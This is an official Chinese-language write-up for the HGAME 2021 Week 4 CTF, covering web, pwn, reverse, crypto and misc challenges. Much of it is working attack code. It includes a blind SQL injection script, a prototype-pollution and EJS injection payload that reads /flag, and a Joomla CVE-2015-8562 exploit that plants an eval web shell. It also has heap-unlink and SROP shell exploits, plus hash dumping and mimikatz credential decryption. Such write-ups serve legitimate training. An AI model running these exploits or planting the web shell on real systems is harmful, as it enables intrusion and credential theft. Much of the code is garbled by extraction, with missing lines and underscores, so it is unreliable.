HGAME 2021 Week4 Official Writeup

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Web

Unforgettable

• 考点: SQL 二次注入, SQL 正则匹配

出题人: sw1tch分值: 450

这周的这个题和上周的 SSTI 是同一个题面但是是不同的考点,确实非常猥琐

但是由于能由用户控制的东西并不多, username 字段有针对 SQL 注入的 WAF,所以 FUZZ 一下就能 发现注册的时候 username 会过滤一些关键字

在 /user 路由下存在语句 SELECT * FROM user WHERE username='xx'

过滤了不少东西, > < = like 0x ascii hex substr char 都过滤了,但是还可以用 regexp 来正则匹配

因为过滤不严格,所以有一种非预期是用 if (left(right(xx,a),b)in"c",delay,0) 这样的 payload 打的,也可以

exp

```
import requests
import random
import time

# exp = "
{prefix}'&&/**/if((select/**/group_concat(table_name)/**/from/**/information_sc
hema.tables/**/where/**/table_schema/**/regexp/**/database())regexp/**/'^{paylo
ad}',benchmark(10000000,sha2('a',256)),0)#"
```

```
# exp = "
{prefix}'&&/**/if((select/**/group_concat(column_name)/**/from/**/information_s
chema.columns/**/where/**/table name/**/regexp/**/'^ffflllaaqqqq$')regexp/**/'^
{payload}',benchmark(10000000,sha2('a',256)),0)#"
{prefix}'&&/**/if((select/**/ffllllaaaagg/**/from/**/ffflllaagggg)regexp/**/'^{
payload}',benchmark(10000000,sha2('a',256)),0)#"
base url = "http://127.0.0.1:10041/\{uri\}"
user url = base url.format(uri="user")
base email = "{prefix}@payload.exp"
charset = "1234567890abcdefghijklmnopqrstuvwxyz ,$"
def random str(slen=20):
    seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(slen):
     sa.append(random.choice(seed))
   return ''.join(sa)
def reg(username, email):
    reg_url = base_url.format(uri="register")
    data = {
       "username": username,
        "email": email,
        "password": "123456"
    requests.post(url=reg url, data=data)
def login(email):
   login url = base url.format(uri="login")
    data = {
        "email": email,
        "password": "123456"
    sess = requests.session()
    sess.post(url=login url, data = data)
   return sess
def logout(sess):
    logout url = base url.format(uri="logout")
    sess.get(logout url)
def reg prefix():
    username prefix = random str(20)
    email = base email.format(prefix=random str(20))
    reg(username prefix, email)
   return username prefix
def blind():
   username prefix = reg prefix()
    result = ""
    while (True):
       for c in charset:
            time.sleep(0.1)
            payload = result + c
              print(payload)
            username = exp.format(prefix=username prefix, payload=payload)
```

```
email = base_email.format(prefix=random_str(20))
    reg(username, email)
    sess = login(email)
    res = sess.get(url=user_url, allow_redirects=False)
    if res.elapsed.total_seconds() > 4:
        result += c
        break
    if c == '$':
        break
    print(result)

if __name__ == "__main__":
    blind()
```

macguffin

• 考点: 原型链污染、ejs 模板注入

出题人: 0x4qE分值: 400

代码很简单,流程也很清晰。考点是原型链污染,理解了原型链污染再来看这篇 wp 就很清晰了。

```
app.all('/wish', (req, res) => {
   if (!req.session.crying) {
      return res.send("forbidden.")
   }
}
```

想要进入 /wish 界面需要让 crying 为 true, 而想要达到这个目的得看主页面的代码。

首先这里的 ip 无法伪造, 只能考虑 POST 数据赋值。

这里有一个 data[key] = req.body[key] 很令人在意,javascrupt 中万物皆对象,每个 Object 都有一个原型 proto 。这里的遍历赋值就给了我们原型链污染的可能。

源码里 app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json()), 提示了这里需要用设置 Content-type 为 application/json 来 POST 数据。有兴趣的话可以自己调试看看为什么 application/x-www-form-urlencoded 是不能成功污染的。

payload:

```
{" proto ":{"crying":true}, "name": "a", discription: "aa"}
```

```
if (req.method == 'POST') {
    let wishes = req.body.wishes
    req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
    return res.redirect(302, '/show');
}
```

用到了ejs,看看<u>官网</u>

这是一种模板引擎, 我们看他的示例

```
<div id="output"></div>
<script src="ejs.min.js"></script>

<script>
let people = ['geddy', 'neil', 'alex'],
    html = ejs.render('<%= people.join(", "); %>', {people: people});

// With jQuery:
$('#output').html(html);

// Vanilla JS:
document.getElementById('output').innerHTML = html;
</script>
```

实际上在 <% %> 标签内可以执行 js 代码,于是一把梭读 flag。

```
<%- global.process.mainModule.constructor._load('child_process').execSync('cat
/flag')%>
```

joomlaJoomla!

• 考点: PHP反序列化、CVE-2015-8562

出题人: r4u分值: 450

进入题目能够看出是 Joomla! version 3.4.5, 网上搜索一下能够发现这个版本存在反序列化漏洞 CVE-2015-8562。这个漏洞的复现教程在网上有很多,就不仔细分析了。

找到网上的 exp:

https://github.com/az0ne/joomla exp/blob/master/joomla exp.py

这题我将漏洞修改了一下,网上的 exp 并不能直接打通。直接下载 Joomla! 3.4.5 的<u>源码</u>然后和题目提供的源代码比对一下,就能发现不同:

diff -r ./Joomla\!3.4.5 ./html

这个漏洞的注入点在 User-Agent 头和 X-Forwarded-For 头,可以看见改动的代码过滤了第一个 I,所以这个其实打起来很容易,把 payload 中的 I 后再补上一个 I 就可以了。

```
import requests
import re
import sys
def get_url(url, user_agent):
   headers = {
    'User-Agent': user agent
   cookies = requests.get(url,headers=headers).cookies
   for _ in range(3):
       response = requests.get(url, headers=headers,cookies=cookies)
   return response.content
def php str noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
   encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
   return encoded[:-1]
def generate payload(php payload):
   php_payload = "eval({0})".format(php_str_noquotes(php_payload))
    terminate = '\xf0\xfd\xfd\xfd';
   exploit template = r'''} test||0:21:"JDatabaseDriverMysqli":3:
s:2:"fc";0:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:
{i:0;a:2:{i:0;0:9:"SimplePie":5:{s:8:"sanitize";0:20:"JDatabaseDriverMysql":0:
{}s:8:"feed url";'''
    injected_payload = "{}; JFactory::getConfig(); exit".format(php_payload)
   exploit template += r'''s:{0}:"{1}"'''.format(str(len(injected payload)),
injected payload)
    exploit template +=
r''';s:19:"cache name function";s:6:"assert";s:5:"cache";b:1;s:11:"cache class"
;0:20:"JDatabaseDriverMysql":0:
{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
   return exploit template
def check(url):
   response = requests.get(url)
   return response.content
turl = sys.argv[1]
```

```
syscmd =

"file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode
('dnZ2PD9waHAgZXZhbCgkX1BPU1Rbenp6XSk7Pz4='));"

pl = generate_payload(syscmd)

print(pl)

get_url(turl, pl)

url = turl+'88.php'

if b'vvv' in check(url):

    print("成功shell为"+turl+u"88.php, 密码为zzz")

else:

    print("失败! 漏洞已修补或版本不同! ")
```

Pwn

house of cosmos

考点: unlink出题人: xi4oyu分值: 400

标准菜单题,有 add, dele, edit 功能, 没有开 PIE

漏洞点就在读入数据的地方,长度是有符号类型,而索引变量 i 是无符号类型,比较的时候是无符号比较,只要长度为 0,减一后无符号比较就可以溢出了

```
1 void __fastcall readStr(__int64 a1, int a2)
2 {
3
    unsigned int i; // [rsp+1Ch] [rbp-4h]
4
    for (i = 0; i < a2 - 1; ++i)
5
6
7
      if ( read(0, (void *)(i + a1), 1uLL) != 1 )
8
        exit(-1);
9
      if ( *(_BYTE *)(i + a1) == 10 )
.0
        break;
1
.2
    *( BYTE *)(i + a1) = 0;
13 }
```

add 功能可以看出,a2 确实可以为 0,且 malloc (0) 实际分配的 chunk 大小是 0x20

```
if ( v2 < 0 || v2 > 0x400 )
    return puts("too long!");
nodes[i].buf = (char *)malloc(v2);
nodes[i].size = v2;
printf("input someting >> ");
readStr((__int64)nodes[i].buf, nodes[i].size);
return printf("the id of data is %d, and your input is %s", (unsigned);
```

可以堆溢出,且没开 PIE,libc 是 2.23,这就涉及到一个经典的利用方式,就是利用 unlink 宏,是的全局的保存 chunk 指针的数组写入该数组附件的地址,之后既可以任意写了,unlink 利用教程很多,这就不展开讲了

利用任意写改 free 的 got 表为 puts 的 plt 地址,就可以泄露地址,最后改 atoi 的 got 表为 system,即可 getshell

```
#coding=utf8
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'info'
# functions for quick script
       = lambda data
                                  :p.send(data)
      = lambda delim,data
                                  :p.sendafter(delim, data)
      = lambda data
                                  :p.sendline(data)
sl
      = lambda delim,data
                                  :p.sendlineafter(delim, data)
sla
r
      = lambda numb=4096, timeout=2:p.recv(numb, timeout=timeout)
       = lambda delims, drop=True :p.recvuntil(delims, drop)
ru
      = lambda
                                  :p.interactive()
      = lambda gs='', **kwargs
                                  :gdb.attach(p, gdbscript=gs, **kwargs)
dbg
# misc functions
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
  global p
   if arg == 'remote':
       p = remote(*host)
   else:
       p = binary.process(argv=arg)
binary = ELF('./house of cosmos', checksec=False)
host = ('159.75.113.72', 31404)
libc = ELF('libc.so.6', checksec=False)
rs('remote')
def add(sz, data):
  sla('>> ', '1')
   sla('>> ', str(sz))
   sla('>> ', data)
def free(idx):
   sla('>> ', '2')
   sla('>> ', str(idx))
def edit(idx, data):
   sla('>> ', '4')
   sla('>> ', str(idx))
   sla('>> ', data)
add(0, 'aa') # 0
add(0x90, 'aa') # 1
add(0x90, 'aa') # 2
add(0x90, 'aa') # 3
```

```
list_addr = 0x4040C0
ptr = list addr + 0x10 # 1
fake_chunk = p64(0) + p64(0x91) + p64(ptr - 0x18) + p64(ptr - 0x10)
fake_chunk = fake_chunk.ljust(0x90, 'a')
pay = 'a' * 0x10 + p64(0) + p64(0xa1) + fake_chunk + p64(0x90) + p64(0xa0)
edit(0, pay)
free(2)
# 0 -> free_got, 1, 2 -> atoi_got
pay = 'a' * 8
pay += p64(binary.got['free']) + p64(0x10)
pay += (p64 (binary.got['atoi']) + p64 (0x10)) * 2
edit(1, pay)
# free got -> puts plt
# leak
edit(0, p64(binary.plt['puts'])[:-1])
free(1)
lbase = uu64(ru('\n')) - libc.sym['atoi']
leak('lbase', lbase)
# atoi got -> system
system = lbase + libc.sym['system']
edit(2, p64(system)[:-1])
#dbg()
sla('>> ', '/bin/sh')
irt()
```

rop_senior

考点: srop出题人: d1gg12分值: 350

exp如下

```
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r=remote('159.75.104.107', 30525)
#r = process('./rop_senior')

bss = 0x601700
vuln = 0x40062a
vuln_1 = 0x40063c
vuln_2 = 0x40063a
read = 0x40063e
syscall = 0x400647
```

```
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x400
sigframe.rsp = bss
sigframe.rip = syscall
r.sendafter('best', 'a'*8 + p64(vuln) + p64(vuln_1) + str(sigframe))
r.sendafter('best', 'a'*8 + p64(vuln_1)[:7])
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bss + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = bss
sigframe.rip = syscall
#gdb.attach(r)
r.send(('a'*8 + p64(vuln) + p64(vuln_1) + str(sigframe)).ljust(0x120,'b') +
"/bin/sh\x00")
r.sendafter('best','a'*8 + p64(vuln_1)[:7])
r.interactive()
```

Reverse

vm

• 考点: vm

• 出题人: m,e;z.o,n~e

• 分值: 450

题目考察vm

关键代码如下

```
typedef enum VM_Code {
   ADD, ADD_AX, ADD_BX, ADD_CX, SUB, SUB_AX, SUB_BX, SUB_CX,

   PUSH, PUSH_AX, PUSH_BX, PUSH_CX, POP_AX, POP_BX, POP_CX,

   CALL, RET,
   XOR,
   CMP,
   JMP, JE,
   STREAM_IN, STREAM_OUT,
   TERMINATE,
} VM_Code;
```

```
extern const std::vector<std::variant< VM_Code,uint8_t> > opcode {
 CALL, _strlen, // ax = strlen
  PUSH, 34,
 JE, _main,
  TERMINATE,
  // main @ 9
  PUSH, Oxfe,

      POP_BX,
      // bx = 0x7a

      CALL, _sub,
      // 第二次 xor

  TERMINATE,
  // _xor @ 22
  SUB_CX, 1, // cx 相当于下标
 SUB_Cx, 1,
STREAM_IN, // 读 stream[cx]
POP_AX, // ax = stream[cx]
XOR, // ax = ax xor bx (bx 是传进来的参数)
 STREAM_OUT, // stream[cx] = ax
PUSH_BX, // 保存 bx
PUSH, 0,
  PUSH CX,
  JE, _xor_ret, // 就退出
  POP BX, // 恢复 bx
  ADD BX, 0x23,
  JMP, xor,
  // _xor_ret @ 43
  POP BX,
  RET,
  // sub @ 22+23

      SUB_CX, 1,
      // cx 相当于下标

      STREAM_IN,
      // 读 stream[cx] 并 push

      POP_AX,
      // ax = stream[cx]

      SUB,
      // ax = ax - bx (bx 是传进来的参数)

 PUSH AX,
STREAM_OUT, // stream[cx] = ax
PUSH_BX, // 保存 bx
 PUSH, 0,
                // ax = 0
  POP AX,
  PUSH CX,
  JE, sub ret, // 就退出
```

```
POP BX, // 恢复 bx
SUB BX, 0x60, // bx -= 0x60
JMP, sub,
 // sub @ 43+23
POP BX,
RET,
 // strlen @ 45+23
 STREAM IN,
 POP AX,
       // bx 还没动过, 所以 bx = 0
 CMP,
 JE, _strlen_ret,
 ADD_CX, 1,
 JMP, strlen,
 // strlen ret @ 54+23
 PUSH CX,
 POP AX,
 RET,
};
```

nllvm

出题人: Y分值: 350

通过对编译器的改造,实现了全局变量的加密。可以根据函数特征,或动态调试识别出AES。部分源代码如下↓

```
uint8_t key[] = {"CryptoFAILUREforRSA2048Key!!!!!"};
char out[] = {
"\x91\xb3\xc1\xeb\x14\x5d\xd5\xce\x3a\x1d\x30\xe4\x70\x6c\x6b\xd7\x69\x78\x79\x
x1c\x0f\x5d\x50\x5b\xec\x42\xd1\x8c\xb8\x12\xcf\x2c\xa9\x69\x31\x46\xfd\x9b\xea
\xde\xc8\xbf\x94\x69" };
int main()
   SetConsoleTextAttribute(GetStdHandle(STD OUTPUT HANDLE),FOREGROUND BLUE |
FOREGROUND GREEN | FOREGROUND RED| FOREGROUND INTENSITY);
   cout << "pwn god comsos one shot one flag" << endl;</pre>
   Sleep(500);
   cout << "vegetable bird Y coding with his girl" << endl;</pre>
   Sleep(500);
  cout << "
                  world line through a \"pass\" " << endl;</pre>
   SetConsoleTextAttribute(GetStdHandle(STD OUTPUT HANDLE), BACKGROUND BLUE|
BACKGROUND GREEN | BACKGROUND RED);
   cout << " something fucking happen" << endl;</pre>
   cout << "we have not seen cosmos pwn anymore" << endl;</pre>
```

```
cout << "could you help cosmos back to life" << endl;</pre>
      char flag[100]{};
      cin >> flag;
     if(strlen(flag) == 64)
            uint8 t iv[] = \{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x08,
0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
          char buffer[64]{};
           memcpy(buffer, flag, 64);
          // uint8_t buffer[64];
          struct AES ctx ctx;
           AES init ctx iv(&ctx, key, iv);
          AES CBC encrypt buffer(&ctx, (UINT8*)buffer, 64);
           if (0 == memcmp((char*)out, (char*)buffer, 64))
                   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE
| FOREGROUND GREEN | FOREGROUND RED | FOREGROUND INTENSITY);
      cout << "cosmos is still fighting and never give up" << endl;</pre>
             SetConsoleTextAttribute(GetStdHandle(STD OUTPUT HANDLE), FOREGROUND BLUE |
FOREGROUND GREEN | FOREGROUND RED | FOREGROUND INTENSITY);
            return 0;
//hgame{cOsmOs is still fightlng and NEVER GIVE UP 000000000000000}
```

A Five Second Challenge

考点: Unity出题人: oyy分值: 400

某天在上(摸)班(鱼)过程中发现 week4 题比较少,就想着简单搞一个扫雷,给大家接触下 Unity 游戏的典型结构。

这题预期流程是先随便探索一下,发现是个二维码,然后就把判断是否为雷的关键函数读懂,把位置分布拿到手即可。

有三个方法可以读到逻辑:

- 1. 直接读 il2cpp 中间文件,最省事的方法,但是拿不到 matrix 的值
- 2. 用 ILSpy 读 backup/Managed 下的那个 dll,但是拿不到 CheckBombAt 的逻辑
- 3. 用 il2cppdumper 处理 GameAssembly.dll 跟 global-metadata.dat,然后 ida 静态分析/借助 idapython 动态分析都可以

方案三是最正常的 Unity 游戏分析流程,给了 il2cpp 其实是比较奇怪的一个操作,这里我要简单解释一下: il2cpp 的中间文件本来是不打算给的,题目出完后我们自测的过程发现 matrix 这个数组要搞出来比较难,不太希望这个成为卡住选手的点,这才干脆把 il2cpp 中间文件跟那个

AFiveSecondChallenge.dll 一起放出来了 (当然也是因为,AFiveSecondChallenge.dll 是个单

独的工程,被我放公司了,懒得重写了2333)。但是又不想选手通过 ILSpy 之类的软件一把梭,就把关键函数 nop 掉了 *(后来才发现貌似没 nop 干净?不过也没啥影响 2333)*

关键函数就是遍历 matrix 这个 45x15x3 矩阵, 二维码是 45x45 的, 每三个参数(记为 a、b、c)确定三个坐标是否为雷。然后根据以下公式确定是不是雷:

```
y = a * z * z + b * z + c > 0 ?
```

其中, z = x % 3 - 1, 没错, 就是一个二次函数的一般式哈哈哈哈~

Unity 工程没什么需要提的。题目部分源码可见 https://gist.github.com/oyiadin/3a89737d7c8f51537 e4474cafd7895b8

P.S. 有几个位置是点不了的,这个是个 bug, 实现踩到空位时清空一大块位置这个功能的漫水算法下标越界了,不过不太影响做题~

Crypto

夺宝大冒险1

出题人: Tinmix分值: 350

参考Ing attack

https://zeroyu.xyz/2018/11/02/Cracking-LCG/#0x00-%E5%89%8D%E8%A8%80https://tailcall.net/blog/cracking-randomness-lcgs/

由于初始化器用的是os.urandom,因此会有存在没有对应逆元或存在多个对应解的情况,但理论上概率不大(我没有计算过),因此如果一次跑不出来就多跑几次就可以了

```
参考exp
```

```
from pwn import *
from gmpy2 import gcd
context(log_level='debug')
r = remote('xxx.xxx.xxx', xxxxx)
def exgcd(m,n,x,y):
   if n == 0:
       x = 1
       y = 0
       return (m,x,y)
   a1 = b = 1
   a = b1 = 0
   c = m
   d = n
   q = int(c/d)
   r = c%d
   while r:
       c = d
       d = r
       t = a1
       a1 = a
       a = t-q*a
       t = b1
       b1 = b
```

```
b = t-q*b
                        q = int(c/d)
                        r = c%d
           x = a
           y = b
           return (d,x,y)
a, b = r.recvuntil('\n')[1:-2].split(b', ')
a, b = int(a), int(b)
c = int(r.recvuntil('\n')[:-1])
d = int(r.recvuntil('\n')[:-1])
r.sendline(str((d-c*a)%b))
a0 = 123
d = int(r.recvuntil('\n')[:-1])
a1 = int(r.recvuntil('\n')[:-1])
a2 = int(r.recvuntil('\n')[:-1])
a3 = int(r.recvuntil('\n')[:-1])
g, x, y = exgcd(a1-a0, d, 0, 0)
x *= (a2-a1) // g
y *= (a2-a1) // g
y += (x // d) * (a1-a0)
x = (x // d) * d
b = x
while (a1-a0*b) %d != (a2-a1*b) %d:
        b += d
c = (a1-a0*b) %d
assert (a2*b+c)%d==a3
r.sendline(str(b))
r.sendline(str(c))
# a0
\# a0 * b + c = k0 * d + a1
 \# a1 * b + c = k1 * d + a2
\# a2 * b + c = k2 * d + a3
\# (a1-a0) * b - k0 * d = (a2-a1)
\# (a2-a1) * b - k1 * d = (a3-a2)
a = [123]
for i in range(7):
          a.append(int(r.recvuntil('\n')[:-1]))
\# (a2-a1) (a1-a0) * b - ? * d = (a2-a1) (a2-a1)
\# (a1-a0) (a2-a1) * b - ? * d = (a3-a2) (a1-a0)
e = []
for i in range(6):
           for j in range(i+1,6):
                         \texttt{e.append (abs ((a[i+2]-a[i+1])*(a[j+1]-a[j]) - (a[j+2]-a[j+1])*(a[i+1]-a[i+1]) + (a[i+1]-a[i+1]) + (a[i+1]-a[i+1]-a[i+1]) + (a[i+1]-a[i+1]-a[i+1]) + (a[i+1]-a[i+1]-a[i+1]-a[i+1]) + (a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]-a[i+1]
a[i])))
```

```
d = e[0]
for x in e[1:]:
    d = gcd(d, x)
print(d)

r.sendline(str(d))

r.interactive()
```

夺宝大冒险2

出题人: Tinmix分值: 300

很简单的线性同余生成器的攻击,由于分数大于80才能出flag,因此解法有很多种,以下基于难易度排行(个人感觉):

- poly10个出来,利用z3求解
- poly10个出来,利用BM算法求解
- poly20个出来,利用线性方程组求解

当然,还有一种更为简单的做法,仔细分析这个生成器,如果poly10个后,当前的init就会变成输出出来的序列,用这个序列猜出剩下90个答案即可

Misc

Akira之瞳-1

• 考点:内存取证、NTLM hash crack、盲水印

出题人: Akira分值: 350

解压后得到 important_work.raw

```
akira@kasumi:/tmp/$ volatility -f important work.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
         Suggested Profile(s): Win7SP1x64, Win7SP0x64, Win2008R2SP0x64,
Win2008R2SP1x64 23418, Win2008R2SP1x64, Win7SP1x64 23418
                    AS Layer1: WindowsAMD64PagedMemory (Kernel AS)
                    AS Layer2 : FileAddressSpace (/tmp/important work.raw)
                     PAE type : No PAE
                         DTB : 0x187000L
                         KDBG: 0xf8000403b0a0L
         Number of Processors: 16
     Image Type (Service Pack) : 1
               KPCR for CPU 0 : 0xfffff8000403cd00L
               KPCR for CPU 1 : 0xfffff88004700000L
               KPCR for CPU 2 : 0xfffff88004776000L
               KPCR for CPU 3: 0xfffff880047ec000L
               KPCR for CPU 4: 0xfffff88004840000L
               KPCR for CPU 5 : 0xfffff880048b6000L
               KPCR for CPU 6 : 0xfffff8800492c000L
               KPCR for CPU 7 : 0xfffff880049a2000L
               KPCR for CPU 8 : 0xfffff880049d8000L
               KPCR for CPU 9 : 0xfffff88004a94000L
```

```
KPCR for CPU 10 : 0xfffff88004b0a000L
KPCR for CPU 11 : 0xfffff88004b80000L
KPCR for CPU 12 : 0xfffff88004c00000L
KPCR for CPU 13 : 0xfffff88004c76000L
KPCR for CPU 14 : 0xfffff88004cec000L
KPCR for CPU 15 : 0xfffff88004d62000L
KPCR for CPU 15 : 0xfffff88004d62000L
Image date and time : 2021-02-18 09:47:25 UTC+0000
Image local date and time : 2021-02-18 17:47:25 +0800
```

可以看出操作系统应为 Win7SP1x64

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
pslist
Volatility Foundation Volatility Framework 2.6
Offset(V) Name PID PPID Thds Hnds Sess
Wow64 Start Exit

...
Oxfffffa800f263b30 important_work 1092 2232 1 16 1
1 2021-02-18 09:47:15 UTC+0000
...
```

可以找到名为 important work.exe (未显示全)的进程, PID 为 1092

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
cmdline
...
important_work pid: 1092
Command line : "C:\Users\Genga03\Desktop\important_work.exe"
C:\Users\Genga03\Desktop\work.zip
...
```

可以看出这个程序用到了 work.zip

这里有个小坑,**当文件超过一定大小时**,如果采用 filescan + dumpfiles 得出来的文件大小和原来的基本一致但是内容全是 0:

所以我们先使用 memdump 把 important work.exe (PID: 1092) 的进程 dump 下来:

然后 foremost 1092.dmp:

成功找到 zip, 打开:

根据提示先找 NTLM hash:

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Genga03:1001:aad3b435b51404eeaad3b435b51404ee:84b0d9c9f830238933e7131d60ac6436:
::
```

空 hash:

LM hash: aad3b435b51404eeaad3b435b51404ee NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0

所以密码的 hash 应该是 84b0d9c9f830238933e7131d60ac6436 , 随便找个在线工具 crack 一下:

用密码 20504cdfddaad0b590ca53c4861edd4f5f5cf9c348c38295bd2dbf0e91bca4c3 解压,得到两张看起来一样的图, src.png 与 Blind.png:

搜索后知道是盲水印,在 github 搜索后按 star 数排序选择第一个 (https://github.com/chishaxie/BlindwaterMark) 进行尝试 (第二个是用水印解水印怎么想都不对吧):

```
python3 bwm3.py decode src.png Blind.png out.png
```

hgame{7he_f1ame_brin9s_me_end1ess_9rief}

Akira之瞳-2

• 考点:内存取证、Cookie、VeraCrypto、NTFS文件流

出题人: Akira分值: 400

可以看到有个记事本,但是 notepad 命令只支持 XP 及以下我们还是先看下他打开了什么文件:

```
akira@kasumi:/tmp/$ volatility -f secret_work.raw --profile=Win7SP1x64 cmdline
...
notepad.exe pid: 456
Command line : "C:\Windows\system32\NOTEPAD.EXE"
C:\Users\Genga03\Desktop\dumpme.txt
...
```

txt 文件较小, 并且文件名有提示, 尝试使用 filescan + dumpfiles:

打开得到:

zip password is: 5trqES&P43#y&1TO And you may need LastPass

用密码解压 secret.7z:

应该是要用 protect 文件和登录密码解密 Cookies

Chrome 80 以后更改了 Cookies 的加密方法,所以先检查一下版本

Chrome Cookies 的本质是 SQLite 所以找个软件打开:

cookies 表 encrypted_value 字段不为 v10 / v11 开头,是 Chrome 79 及以前版本的 Cookies 搜索得知可以用 mimikatz 解密 Cookies,但是要找到登录密码,想起 LastPass,搜索后可以找到一个 Volatolity 的插件: https://github.com/kevthehermit/volatility_plugins/tree/master/lastpass

```
akira@kasumi:/tmp/$ volatility --plugins=./ -f secret_work.raw --
profile=Win7SP1x64 lastpass
...
Found LastPass Entry for
live.com,bing.com,hotmail.com,live.com,microsoft.com,msn.com,windows.com,windowszure.com,office.com,skype.com,azure.com
UserName: windows login & miscrosoft
Pasword: vIg*q3x6GFa5aFBA
...
```

Windows 下: 文件夹选项 -> 查看 -> 取消勾选 "隐藏受保护的操作系统文件" 才能看到 SID 文件夹下的 protect 文件

下面使用 mimikatz 来解密 Cookies:

先解出 masterkey:

dpapi::masterkey /in:S-1-5-21-262715442-3761430816-2198621988-1001\57935170beab-4565-ba79-2b09570b95a6 /sid:S-1-5-21-262715442-3761430816-2198621988-1001
/password:vIg*q3x6GFa5aFBA

masterkey:

3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291 a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8

然后用 masterkey 解密 Cookies:

dpapi::chrome /in:"Cookies"

Name: VeraCrypt

Cookie: !bWjAqM2z!iSoJsV&IRV@AVI1VrtAb

搜索得知 VeraCrypt 是一个加密软件,container 应该是用它加密的,下载软件后用密码挂载 container:

得到 ADS.jpg, 搜索得知 ADS 流文件, 用软件进行扫描:

导出即可得到 flag:

hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}